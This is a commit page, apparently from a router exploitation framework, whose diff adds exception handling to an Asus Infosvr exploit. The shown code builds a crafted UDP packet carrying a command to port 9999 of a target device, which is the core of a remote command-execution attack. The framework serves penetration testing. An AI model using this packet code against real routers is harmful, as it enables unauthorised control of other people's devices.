Commit 52e0afee by Marcin Bury

Fixing exception handling Asus Infosvr exploit.

parent 56924cf1
......@@ -43,7 +43,7 @@ class Exploit(exploits.Exploit):
],
}
target = exploits.Option('', 'Target address e.g. 192.168.1.1')
target = exploits.Option('', 'Target IP address e.g. 192.168.1.1')
def run(self):
try:
......@@ -76,8 +76,11 @@ class Exploit(exploits.Exploit):
packet = (b'\x0C\x15\x33\x00'+ os.urandom(4) + (b'\x00' * 38) + struct.pack('<H', len(cmd)) + cmd).ljust(512, b'\x00')
sock.sendto(packet, (self.target, 9999))
try:
sock.sendto(packet, (self.target, 9999))
except socket.error:
return ""
while True:
try:
data, addr = sock.recvfrom(512)
......
Markdown is supported
0% or
You are about to add 0 people to the discussion. Proceed with caution.
Finish editing this message first!
Please register or to comment